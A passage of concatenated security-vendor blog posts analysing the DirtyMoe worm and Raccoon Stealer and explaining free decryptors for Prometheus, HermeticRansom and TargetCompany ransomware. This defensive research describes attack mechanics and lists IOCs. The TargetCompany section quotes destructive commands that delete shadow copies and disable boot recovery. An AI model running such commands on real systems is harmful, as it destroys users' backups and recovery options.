The IP addresses verified in Phase 2 are also registered into the Dayspan and Hourspan lists. The module keeps only 100 items (IP addresses), and the lists are implemented as a queue. Therefore, some IPs can be removed from these lists if the IP address generation is too fast or the dictionary attacks are too slow. However, the removed addresses are still present in the IP Address Backlog.

Phase 4

The threads created based on the X3 configuration parameters process and manage the items (IPs) of Dayspan and Hourspan lists. Each thread picks up an item from the corresponding list, and if the defined day/hour threshold (HX parameter) is exceeded, the module starts the dictionary attack to the picked-up IP address.

Phase 5

Each generated and verified IP is associated with a timestamp of creation. The last phase is activated if the previous timestamp is older than 10 minutes, i.e., if the IP generation is suspended for any reason and no new IPs come in 10 minutes. Then one dedicated thread extracts IPs from the backlog and processes these IPs from the beginning; These IPs are processed as per Phase 2, and the whole worming process continues.

6.4 Dictionary Attack

The dictionary attack targets two administrator user names, namely administrator for SMB services and sa for MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an attack series composed of techniques described in Section 5:

• Service Control Manager Remote Protocol (SCMR)
• Windows Management Instrumentation (WMI)
• Microsoft SQL Server (SQL)

The first attack attempt is sent with an empty password. The module then addresses three states based on the attack response as follows:

• No connection: the connection was not established, although a targeted port is open – a targeted service is not available on this port.
• Unsuccessful: the targeted service/system is available, but authentication failed due to an incorrect username or password.
• Success: the targeted service/system uses the empty password.

Administrator account has an empty password 

If the administrator account is not protected, the whole worming process occurs quickly (this is the best possible outcome from the attacker’s point of view). The worming module then proceeds to infiltrate the targeted system with the attack series (SCMR, WMI, SQL) by sending the empty password.

Bad username or authentication information

A more complex situation occurs if the targeted services are active, and it is necessary to attack the system by applying the password dictionary.

Cleverly, the module stores all previously successful passwords in the system registry; the first phase of the dictionary attack iterates through all stored passwords and uses these to attack the targeted system. Then, the attack series (SCMR, WMI, SQL) is started if the password is successfully guessed.

The second phase occurs if the stored registry passwords yield no success. The module then attempts authentication using a defined number of initial passwords from the password dictionary. This number is specified by the X1 configuration parameters (usually X1*100). If this phase is successful, the guessed password is stored in the system registry, and the attack series is initiated.

The final phase follows if the second phase is not successful. The module randomly chooses a password from a dictionary subset X2*100 times. The subset is defined as the original dictionary minus the first X1*100 items. In case of success, the attack series is invoked, and the password is added to the system registry.

Successfully used passwords are stored encrypted, in the following system registry location:
HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-BarkIPsInfo

7. Summary and Discussion

Modules

We have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the SMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors targeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these activities.

Attacked Machines

One interesting finding is an attack adaptation based on the geological location of the worming module. Methods described in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This is achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs are based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address 98.126.89.1 located in Los Angeles is used as the base address.

We performed a few VPN experiments for the following locations: the United States, Russian Federation, Czech Republic, and Taiwan. The results are animated in Figure 17; Table 1 records the attack distributions for each tested VPN.

VPN	Attack Distribution	Top countries
United States	North America (59%) Europe (21%) Asia (16%)	United States
Russian Federation	North America (41%) Europe (33%) Asia (20%)	United States, Iran, United Kingdom, France, Russian Federation
Czech Republic	Europe (56%) Asia (14%) South America (11%)	China, Brazil, Egypt, United States, Germany
Taiwan	North America (47%) Europe (22%) Asia (18%)	United States, United Kingdom, Japan, Brazil, Turkey

LAN

Perhaps the most striking discovery was the observed lateral movement in local networks. The module keeps all successfully guessed passwords in the system registry; these saved passwords increase the probability of password guessing in local networks, particularly in home and small business networks. Therefore, if machines in a local network use the same weak passwords that can be easily assessed, the module can quickly infiltrate the local network.

Exploits

All abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized in Table 2. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle Weblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of DoublePulsar, Tater, and PowerSploit frameworks.

ID	Description
CVE:2019-9082	ThinkPHP – Multiple PHP Injection RCEs
CVE:2019-2725	Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
CVE:2019-1458	WizardOpium Local Privilege Escalation
CVE:2018-0147	Deserialization Vulnerability
CVE:2017-0144	EternalBlue SMB Remote Code Execution (MS17-010)
MS15-076	RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)

C&C Servers

The C&C servers determine which module will be deployed on a victim machine. The mechanism of the worming module selection depends on client information additionally sent to the C&C servers. However, details of how this module selection works remain to be discovered.

Password Dictionary

The password dictionary is a collection of the most commonly used passwords obtained from the internet. The dictionary size is 100,000 words and numbers across several topics and languages. There are several language mutations for the top world languages, e.g., English, Spanish, Portuguese, German, French, etc. (passwort, heslo, haslo, lozinka, parool, wachtwoord, jelszo, contrasena, motdepasse). Other topics are cars (volkswagen, fiat, hyundai, bugatti, ford) and art (davinci, vermeer, munch, michelangelo, vangogh). The dictionary also includes dirty words and some curious names of historical personalities like hitler, stalin, lenin, hussein, churchill, putin, etc.

The dictionary is used for SCMR, WMI, and SQL attacks. However, the SQL module hard-codes another 15 pairs of usernames/passwords also collected from the internet. The SQL passwords usually are default passwords of the most well-known systems.

Worming Workflow

The modules also implement a technique for repeated attacks on machines with ‘live’ targeted ports, even when the first attack was unsuccessful. The attacks can be scheduled hourly or daily based on the worm configuration. This approach can prevent a firewall from blocking an attacking machine and reduce the risk of detection.

Another essential attribute is the closing of TCP port 445 port following a successful exploit of a targeted system. This way, compromised machines are “protected” from other malware that abuse the same vulnerabilities. The MSI installer also includes a mechanism to prevent overwriting DirtyMoe by itself so that the configuration and already downloaded modules are preserved.

IP Generation Performance

The primary key to this worm’s success is the performance of the IP generator. We have used empirical measurement to determine the performance of the worming module. This measurement indicates that one module instance can generate and attack 1,500 IPs per second on average. However, one of the tested instances could generate up to 6,000 IPs/sec, so one instance can try two million IPs per day.

The evidence suggests that approximately 1,900 instances can generate the whole IPv4 range in one day; our detections estimate more than 7,000 active instances exist in the wild. In theory, the effect is that DirtyMoe can generate and potentially target the entire IPv4 range three times a day.

8. Conclusion

The primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the spreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate the effects of worming and investigate which exploits are in use. 

In most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram Messenger that require user interaction to successful infiltration. Importantly, worming is controlled by C&C and executed by active DirtyMoe instances, so user interaction is not required.

Worming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses across the world and in relation to the geological location of the worming module. Moreover, the module targets local/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.

Victims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI, and MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by the worming module that implement publicly disclosed exploits.

We also discovered one worming module in development containing other vulnerability exploit implementations – it did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already implemented and are spreading in the wild. 

Based on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of thousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and powerful opportunity to implement a new worming module. With this in mind, our researchers continue to monitor the worming activities and hunt for other worming modules.

IOCs

CVE-2019-1458: “WizardOpium’ Local Privilege Escalation
fef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40

SMB worming modules
f78b7b0faf819328f72a7181ed8cc52890fedcd9bf612700d7b398f1b9d77ab6
dc1dd648287bb526f11ebacf31edd06089f50c551f7724b98183b10ab339fe2b

SQL worming modules
df8f37cb2f20ebd8f22e866ee0e25be7d3731e4d2af210f127018e2267c73065
b3e8497a4cf00489632e54e2512c05d9c80288c2164019d53615dd53c0977fa7

Worming modules in development
36e0e1e4746d0db1f52aff101a103ecfb0414c8c04844521867ef83466c75340

References

[1] Malicious Telegram Installer Drops Purple Fox Rootkit
[2] Purple Fox Rootkit Now Propagates as a Worm
[3] Exploit-db: ‘EternalBlue’ SMB Remote Code Execution (MS17-010)
[4] Threat Spotlight: The Shadow Brokers and EternalPulsar Malware
[5] Service Control Manager Remote Protocol
[6] Windows Management Instrumentation
[7] Exploit-db: ThinkPHP – Multiple PHP Injection RCEs (Metasploit)
[8] Exploit-db: Deserialization Vulnerability
[9] Exploit-db: ‘AsyncResponseService’ Deserialization RCE (Metasploit)

The post DirtyMoe: Worming Modules appeared first on Avast Threat Labs.

We recently came across a stealer, called Raccoon Stealer, a name given to it by its author. Raccoon Stealer uses the Telegram infrastructure to store and update actual C&C addresses. 

Raccoon Stealer is a password stealer capable of stealing not just passwords, but various types of data, including:

• Cookies, saved logins and forms data from browsers
• Login credentials from email clients and messengers
• Files from crypto wallets
• Data from browser plugins and extension
• Arbitrary files based on commands from C&C

In addition, it’s able to download and execute arbitrary files by command from its C&C. In combination with active development and promotion on underground forums, Raccoon Stealer is prevalent and dangerous.

The oldest samples of Raccoon Stealer we’ve seen have timestamps from the end of April 2019. Its authors have stated the same month as the start of selling the malware on underground forums. Since then, it has been updated many times. According to its authors, they fixed bugs, added features, and more.

Distribution

We’ve seen Raccoon distributed via downloaders: Buer Loader and GCleaner. According to some samples, we believe it is also being distributed in the form of fake game cheats, patches for cracked software (including hacks and mods for Fortnite, Valorant, and NBA2K22), or other software. Taking into account that Raccoon Stealer is for sale, it’s distribution techniques are limited only by the imagination of the end buyers. Some samples are spread unpacked, while some are protected using Themida or malware packers. Worth noting is that some samples were packed more than five times in a row with the same packer! 

Technical details

Raccoon Stealer is written in C/C++ and built using Visual Studio. Samples have a size of about 580-600 kB. The code quality is below average, some strings are encrypted, some are not.

Once executed, Racoon Stealer starts checking for the default user locale set on the infected device and won’t work if it’s one of the following:

• Russian
• Ukrainian
• Belarusian
• Kazakh
• Kyrgyz
• Armenian
• Tajik
• Uzbek

C&C communications

The most interesting thing about this stealer is its communication with C&Cs. There are four values crucial for its C&C communication, which are hardcoded in every Raccoon Stealer sample:

• MAIN_KEY. This value has been changed four times during the year.
• URLs of Telegram gates with channel name. Gates are used not to implement a complicated Telegram protocol and not to store any credentials inside samples
• BotID – hexadecimal string, sent to the C&C every time
• TELEGRAM_KEY – a key to decrypt the C&C address obtained from Telegram Gate

Let’s look at an example to see how it works:
447c03cc63a420c07875132d35ef027adec98e7bd446cf4f7c9d45b6af40ea2b unpacked to:
f1cfcce14739887cc7c082d44316e955841e4559ba62415e1d2c9ed57d0c6232:

1. First of all, MAIN_KEY is decrypted. See the decryption code in the image below:

In this example, the MAIN_KEY is jY1aN3zZ2j. This key is used to decrypt Telegram Gates URLs and BotID.

2. This example decodes and decrypts Telegram Gate URLs. It is stored in the sample as: Rf66cjXWSDBo1vlrnxFnlmWs5Hi29V1kU8o8g8VtcKby7dXlgh1EIweq4Q9e3PZJl3bZKVJok2GgpA90j35LVd34QAiXtpeV2UZQS5VrcO7UWo0E1JOzwI0Zqrdk9jzEGQIEzdvSl5HWSzlFRuIjBmOLmgH/V84PCRFevc40ZuTAZUq+q1JywL+G/1xzXQdYZiKWea8ODgaN+4B8cT3AqbHmY5+6MHEBWTqTsITPAxKdPMu3dC9nwdBF3nlvmX4/q/gSPflYF7aIU1wFhZxViWq2
   After decoding Base64 it has this form:
   

Decrypting this binary data with RC4 using MAIN_KEY gives us a string with Telegram Gates:

3. The stealer has to get it’s real C&C. To do so, it requests a Telegram Gate, which returns an HTML-page:
   

Here you can see a Telegram channel name and its status in Base64: e74b2mD/ry6GYdwNuXl10SYoVBR7/tFgp2f-v32
The prefix (always five characters) and postfix (always six characters) are removed and it becomes mD/ry6GYdwNuXl10SYoVBR7/tFgp The Base64 is then decoded to obtain an encrypted C&C URL:

The TELEGRAM_KEY in this sample is a string 739b4887457d3ffa7b811ce0d03315ce and the Raccoon uses it as a key to RC4 algorithm to finally decrypt the C&C URL: http://91.219.236[.]18/

4. Raccoon makes a query string with PC information (machine GUID and user name), and BotID
5. Query string is encrypted with RC4 using a MAIN_KEY and then encoded with Base64.
6. This data is sent using POST to the C&C, and the response is encoded with Base64 and encrypted with the MAIN_KEY. Actually, it’s a JSON with a lot of parameters and it looks like this:

Thus, the Telegram infrastructure is used to store and update actual C&C addresses. It looks quite convenient and reliable until Telegram decides to take action. 

Analysis

The people behind Raccoon Stealer

Based on our analysis of seller messages on underground forums, we can deduce some information about the people behind the malware. Raccoon Stealer was developed by a team, some (or maybe all) members of the team are Russian native speakers. Messages on the forum are written in Russian, and we assume they are from former USSR countries because they try to prevent the Stealer from targeting users in these countries.

Possible names/nicknames of group members may be supposed based on the analysis of artifacts, found in samples:

• C:\Users\a13xuiop1337\
• C:\Users\David\ 

Prevalence

Raccoon Stealer is quite prevalent: from March 3, 2021 - February 17, 2022 our systems detected more than 25,000 Raccoon-related samples. We identified more than 1,300 distinct configs during that period.

Here is a map, showing the number of systems Avast protected from Raccoon Stealer from March 3, 2021 - February 17, 2022. In this time frame, Avast protected nearly 600,000 Raccoon Stealer attacks.

The country where we have blocked the most attempts is Russia, which is interesting because the actors behind the malware don’t want to infect computers in Russia or Central Asia. We believe the attacks spray and pray, distributing the malware around the world. It’s not until it makes it onto a system that it begins checking for the default locale. If it is one of the language listed above, it won’t run. This explains why we detected so many attack attempts in Russia, we block the malware before it can run, ie. before it can even get to the stage where it checks for the device’s locale. If an unprotected device that comes across the malware with its locale set to English or any other language that is not on the exception list but is in Russia, it would stiIl become infected. 

Telegram Channels

From the more than 1,300 distinct configs we extracted, 429 of them are unique Telegram channels. Some of them were used only in a single config, others were used dozens of times. The most used channels were:

• jdiamond13 – 122 times
• jjbadb0y – 44 times
• nixsmasterbaks2 – 31 times
• hellobyegain – 25 times
• h_smurf1kman_1  – 24 times

Thus, five of the most used channels were found in about 19% of configs.

Malware distributed by Raccoon

As was previously mentioned, Raccoon Stealer is able to download and execute arbitrary files from a command from C&C. We managed to collect some of these files. We collected 185 files, with a total size 265 Mb, and some of the groups are:

• Downloaders – used to download and execute other files
• Clipboard crypto stealers – change crypto wallet addresses in the clipboard – very popular (more than 10%)
• WhiteBlackCrypt Ransomware

Servers used to download this software

We extracted unique links to other malware from Raccoon configs received from C&Cs, it was 196 unique URLs. Some analysis results:

• 43% of URLs have HTTP scheme, 57% – HTTPS.
• 83 domain names were used.
• About 20% of malware were placed on Discord CDN
• About 10% were served from aun3xk17k[.]space

Conclusion

We will continue to monitor Raccoon Stealer’s activity, keeping an eye on new C&Cs, Telegram channels, and downloaded samples. We predict it may be used wider by other cybercrime groups. We assume the group behind Raccoon Stealer will further develop new features, including new software to steal data from, for example, as well as bypass protection this software has in place.

IoC

447c03cc63a420c07875132d35ef027adec98e7bd446cf4f7c9d45b6af40ea2b
f1cfcce14739887cc7c082d44316e955841e4559ba62415e1d2c9ed57d0c6232

The post Raccoon Stealer: “Trash panda” abuses Telegram appeared first on Avast Threat Labs.

Avast Releases Decryptor for the Prometheus Ransomware. Prometheus is a ransomware strain written in C# that inherited a lot of code from an older strain called Thanos.

Skip to how to use the Prometheus ransomware decryptor. 

How Prometheus Works

Prometheus tries to thwart malware analysis by killing various processes like packet sniffing, debugging or tools for inspecting PE files. Then, it generates a random password that is used during the Salsa20 encryption. 

Prometheus looks for available local drives to encrypt files that have one of the following  extensions:

db dbf accdb dbx mdb mdf epf ndf ldf 1cd sdf nsf fp7 cat log dat txt jpeg gif jpg png php cs cpp rar zip html htm xlsx xls avi mp4 ppt doc docx sxi sxw odt hwp tar bz2 mkv eml msg ost pst edb sql odb myd php java cpp pas asm key pfx pem p12 csr gpg aes vsd odg raw nef svg psd vmx vmdk vdi lay6 sqlite3 sqlitedb java class mpeg djvu tiff backup pdf cert docm xlsm dwg bak qbw nd tlg lgb pptx mov xdw ods wav mp3 aiff flac m4a csv sql ora dtsx rdl dim mrimg qbb rtf 7z 

Encrypted files are given a new extension .[ID-<PC-ID>].unlock. After the encryption process is completed, Notepad is executed with a ransom note from the file UNLOCK_FILES_INFO.txt informing victims on how to pay the ransom if they want to decrypt their files.

How to use the Avast decryptor to decrypt files encrypted by Prometheus Ransomware

To decrypt your files, follow these steps:

1. Download the free Avast decryptor.
2. Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next”.

4. On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:

5. On the third page, you need to provide a file in its original form and encrypted by the Prometheus ransomware. Enter both names of the files. In case you have an encryption password created by a previous run of the decryptor, you can select the “I know the password for decrypting files” option:

6. The next page is where the password cracking process takes place. Click “Start” when you are ready to start the process. During the password cracking process, all your available processor cores will spend most of their computing power to find the decryption password. The cracking process may take a large amount of time, up to tens of hours. The decryptor periodically saves the progress and if you interrupt it and restart the decryptor later, it offers you the option to resume the previously started cracking process. Password cracking is only needed once per PC – no need to do it again for each file.

7. When the password is found, you can proceed to decrypt all encrypted files on your PC by clicking “Next”.

8. On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.

IOCs

SHA256	File Extension
742bc4e78c36518f1516ece60b948774990635d91d314178a7eae79d2bfc23b0	.[ID-<HARDWARE_ID>].unlock

The post Decrypted: Prometheus Ransomware appeared first on Avast Threat Labs.

On February 24th, the Avast Threat Labs discovered a new ransomware strain accompanying the data wiper HermeticWiper malware,  which our colleagues at ESET found circulating in the Ukraine. Following this naming convention, we opted to name the strain we found piggybacking on the wiper, HermeticRansom. According to analysis done by Crowdstrike’s Intelligence Team, the ransomware contains a weakness in the crypto schema and can be decrypted for free.

If your device has been infected with HermeticRansom and you’d like to decrypt your files, click here to skip to the How to use the Avast decryptor to recover files

Go!

The ransomware is written in GO language. When executed, it searches local drives and network shares for potentially valuable files, looking for  files with one of the extensions listed below (the order is taken from the sample):

.docx .doc .dot .odt .pdf .xls .xlsx .rtf .ppt .pptx .one.xps .pub .vsd .txt .jpg .jpeg .bmp .ico .png .gif .sql.xml .pgsql .zip .rar .exe .msi .vdi .ova .avi .dip .epub.iso .sfx .inc .contact .url .mp3 .wmv .wma .wtv .avi .acl.cfg .chm .crt .css .dat .dll .cab .htm .html .encryptedjb

In order to keep the victim’s PC operational, the ransomware avoids encrypting files in Program Files and Windows folders.

For every file designated for encryption, the ransomware creates a 32-byte encryption key. Files are encrypted by blocks, each block has 1048576 (0x100000) bytes. A maximum of nine blocks are encrypted. Any data past 9437184 bytes (0x900000) is left in plain text. Each block is encrypted by AES GCM symmetric cipher. After data encryption, the ransomware appends a file tail, containing the RSA-2048 encrypted file key. The public key is stored in the binary as a Base64 encoded string:

Encrypted file names are given extra suffix:

.[[email protected]].encryptedJB

When done, a file named “read_me.html” is saved to the user’s Desktop folder:

There is an interesting amount of politically oriented strings in the ransomware binary. In addition to the file extension, referring to the re-election of Joe Biden in 2024, there is also a reference to him in the project name:

During the execution, the ransomware creates a large amount of child processes, that do the actual encryption:

How to use the Avast decryptor to recover files

To decrypt your files, please, follow these steps:

1. Download the free Avast decryptor.
2. Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next“

4. On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives:

5. On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes.

IOCs

SHA256: 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382

The post Help for Ukraine: Free decryptor for HermeticRansom ransomware appeared first on Avast Threat Labs.

On January 25, 2022, a victim of a ransomware attack reached out to us for help. The extension of the encrypted files and the ransom note indicated the TargetCompany ransomware (not related to Target the store), which can be decrypted under certain circumstances.

Modus Operandi of the TargetCompany Ransomware

When executed, the ransomware does some actions to ease its own malicious work:

1. Assigns the SeTakeOwnershipPrivilege and SeDebugPrivilege for its process
2. Deletes special file execution options for tools like vssadmin.exe, wmic.exe, wbadmin.exe, bcdedit.exe, powershell.exe, diskshadow.exe, net.exe and taskkil.exe
3. Removes shadow copies on all drives using this command:
   %windir%\sysnative\vssadmin.exe delete shadows /all /quiet
4. Reconfigures boot options:
   bcdedit /set {current} bootstatuspolicy ignoreallfailures
bcdedit /set {current} recoveryenabled no
5. Kills some processes that may hold open valuable files, such as databases:

List of processes killed by the TargetCompany ransomware
MsDtsSrvr.exe	ntdbsmgr.exe
ReportingServecesService.exe	oracle.exe
fdhost.exe	sqlserv.exe
fdlauncher.exe	sqlservr.exe
msmdsrv.exe	sqlwrite
mysql.exe

After these preparations, the ransomware gets the mask of all logical drives in the system using the  GetLogicalDrives() Win32 API. Each drive is checked for the drive type by GetDriveType(). If that drive is valid (fixed, removable or network), the encryption of the drive proceeds. First, every drive is populated with the ransom note file (named RECOVERY INFORMATION.txt). When this task is complete, the actual encryption begins.

Exceptions

To keep the infected PC working, TargetCompany avoids encrypting certain folders and file types:

List of folders avoided by the TargetCompany ransomware
msocache	boot	Microsoft Security Client	Microsoft MPI
$windows.~ws	$windows.~bt	Internet Explorer	Windows Kits
system volume information	mozilla	Reference	Microsoft.NET
intel	boot	Assemblies	Windows Mail
appdata	windows.old	Windows Defender	Microsoft Security Client
perflogs	Windows	Microsoft ASP.NET	Package Store
programdata google application data	WindowsPowerShell	Core Runtime	Microsoft Analysis Services
tor browser	Windows NT	Package	Windows Portable Devices
	Windows	Store	Windows Photo Viewer
	Common Files	Microsoft Help Viewer	Windows Sidebar

List of file types avoided by the TargetCompany ransomware
.386	.cpl	.exe	.key	.msstyles	.rtp
.adv	.cur	.hlp	.lnk	.msu	.scr
.ani	.deskthemepack	.hta	.lock	.nls	.shs
.bat	.diagcfg	.icl	.mod	.nomedia	.spl
.cab	.diagpkg	.icns	.mpa	.ocx	.sys
.cmd	.diangcab	.ico	.msc	.prf	.theme
.com	.dll	.ics	.msi	.ps1	.themepack
	.drv	.idx	.msp	.rom	.wpx

The ransomware generates an encryption key for each file (0x28 bytes). This key splits into Chacha20 encryption key (0x20 bytes) and n-once (0x08) bytes. After the file is encrypted, the key is protected by a combination of Curve25519 elliptic curve + AES-128 and appended to the end of the file. The scheme below illustrates the file encryption. Red-marked parts show the values that are saved into the file tail after the file data is encrypted:

The exact structure of the file tail, appended to the end of each encrypted file, is shown as a C-style structure:

Every folder with an encrypted file contains the ransom note file. A copy of the ransom note is also saved into c:\HOW TO RECOVER !!.TXT

The personal ID, mentioned in the file, is the first six bytes of the personal_id, stored in each encrypted file.

How to use the Avast decryptor to recover files

To decrypt your files, please, follow these steps:

1. Download the free Avast decryptor. Choose a build that corresponds with your Windows installation. The 64-bit version is significantly faster and most of today’s Windows installations are 64-bit.
   • If you have 64-bit Windows, choose the 64-bit build.
   • If you have 32-bit Windows, choose the 32-bit build.
2. Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next”

4. On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives:
   

5. On the third page, you need to enter the name of a file encrypted by the TargetCompany ransomware. In case you have an encryption password created by a previous run of the decryptor, you can select the “I know the password for decrypting files” option:

6. The next page is where the password cracking process takes place. Click “Start” when you are ready to start the process. During password cracking, all your available processor cores will spend most of their computing power to find the decryption password. The cracking process may take a large amount of time, up to tens of hours. The decryptor periodically saves the progress and if you interrupt it and restart the decryptor later, it offers you an option to resume the previously started cracking process. Password cracking is only needed once per PC – no need to do it again for each file.

7. When the password is found, you can proceed to the decryption of files on your PC by clicking “Next”.

8. On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes.

IOCs

SHA256	File Extension
98a0fe90ef04c3a7503f2b700415a50e62395853bd1bab9e75fbe75999c0769e	.mallox
3f843cbffeba010445dae2b171caaa99c6b56360de5407da71210d007fe26673	.exploit
af723e236d982ceb9ca63521b80d3bee487319655c30285a078e8b529431c46e	.architek
e351d4a21e6f455c6fca41ed4c410c045b136fa47d40d4f2669416ee2574124b	.brg

The post Decrypted: TargetCompany Ransomware appeared first on Avast Threat Labs.